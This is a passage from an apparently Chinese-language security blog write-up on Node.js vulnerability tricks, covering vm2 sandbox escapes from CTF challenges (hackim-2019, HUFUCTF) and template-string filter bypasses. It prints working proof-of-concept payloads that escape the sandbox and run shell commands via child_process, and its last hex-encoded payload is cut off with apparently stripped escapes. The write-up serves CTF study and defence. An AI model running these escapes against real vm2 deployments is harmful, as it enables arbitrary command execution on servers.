挖洞经验之nodejs 中的漏洞技巧( 三 )

这里是利用buffer.from创建一个代理抛出异常throw f=>f.constructor("return process")()被vm2内部代码给捕获,再被catch给捕获,此时由于对() => {}不正确的处理导致了沙箱的逃逸 。
hackim-2019在vm2当中,可以通过制造错误,引起外部报错,再捕获外部的报错来判断是否存在vm2 。

挖洞经验之nodejs 中的漏洞技巧

文章插图
 
在这里通过报错可以发现,服务器使用了vm2.
使用v3.6.9的poc:
"use strict";const {VM} = require('vm2');const untrusted = `var process;try{Object.defineProperty(Buffer.from(""),"",{value:new Proxy({},{getPrototypeOf(target){if(this.t)throw Buffer.from;this.t=true;return Object.getPrototypeOf(target);}})});}catch(e){process = e.constructor("return process")();}process.mainModule.require("child_process").execSync("whoami").toString()`;try{console.log(new VM().run(untrusted));}catch(x){console.log(x);}执行命令即可获取flag 。
关于模板字符串利用模板字符串(template string)是增强版的字符串,用反引号(`)标识 。
它可以当作普通字符串使用,也可以用来定义多行字符串,或者在字符串中嵌入变量,而如果在模板字符串中需要使用反引号,则前面要用反斜杠转义,另外在模板字符串中嵌入变量需要将变量名卸载${}当中 。
挖洞经验之nodejs 中的漏洞技巧

文章插图
 
利用模板字符串,我们可以生成一种嵌套模板
`${`${`constructo`}r`}` 拼接完之后可以变为 constructor解析的顺序就是:`${`constructor`}`--->constructorHUFUCTF just_escape在虎符ctf中,就出现了利用模板嵌套来进行绕过,题目用的是vm2,利用poc就可以执行命令,但是题目过滤了一些关键词,导致poc需要进行一些更改,我们十六进制以及unicode编码或者就是模板嵌套可以进行绕过 。
(function (){TypeError[`${`${`protot`}ype`}`][`${`${`get_proc`}esss`}`] = f=>f[`${`${`construc`}tor`}`](`${`${`return this.proc`}ess`}`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`${`${`get_proc`}ess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();}})()或者是:
(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`] = f=>f[`x作者:ophxc轩 ,原文地址:https://xz.aliyun.com/t/9167




推荐阅读